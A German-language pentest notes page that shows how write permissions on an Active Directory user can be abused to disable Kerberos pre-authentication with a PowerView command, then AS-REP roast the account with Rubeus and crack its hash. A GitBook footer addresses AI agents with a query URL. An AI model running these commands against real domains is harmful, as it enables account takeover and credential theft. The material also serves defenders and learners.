> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).

# AS-REP-Verwundbarkeit über ACL aktivieren

Sicherheitsnotizen zu Active Directory für „AS-REP-Verwundbarkeit über ACL aktivieren“, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

### Prinzip

In einigen Fällen hat ein Benutzer nicht die `Kerberos-Vorauthentifizierung nicht erforderlich` Option.

Aber wenn wir Schreibrechte für diesen Benutzer haben, zum Beispiel:

```bash
GenericAll
GenericWrite
WriteAllProperties
```

können wir sein Attribut ändern `userAccountControl`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97eda205dc47dbb4a86c2fe258a30846dc5b902f%2F%7BFAC8EB71-B662-4726-80F7-FD8BCC583B8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Beispiel mit `astrid.niki`

Der Benutzer `user1` hat Schreibberechtigungen für:

```bash
astrid.niki
```

Dann aktivieren wir die `DONT_REQ_PREAUTH` Option mit PowerView:

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f155ee3d355d41c911f86bae0a2b857eb9fdc9f8%2F%7B771DF3D4-D4B7-4E41-91EA-1D62ABE0982B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### AS-REP Roasting neu starten

Nach der Änderung erscheint der Benutzer in den Ergebnissen:

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b78347a6e92f6d1da953ca8b7a0f290d125742e9%2F%7B712BE102-1190-4BE4-99C1-41C50FD86EBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dann knacken wir den Hash:

{% code overflow="wrap" %}

```bash
John-Hash
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6567e19bd3c634a129aa9c89e34c1d9cf9d42b65%2F%7B35435421-ED88-441E-8AAA-A349A919BD98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
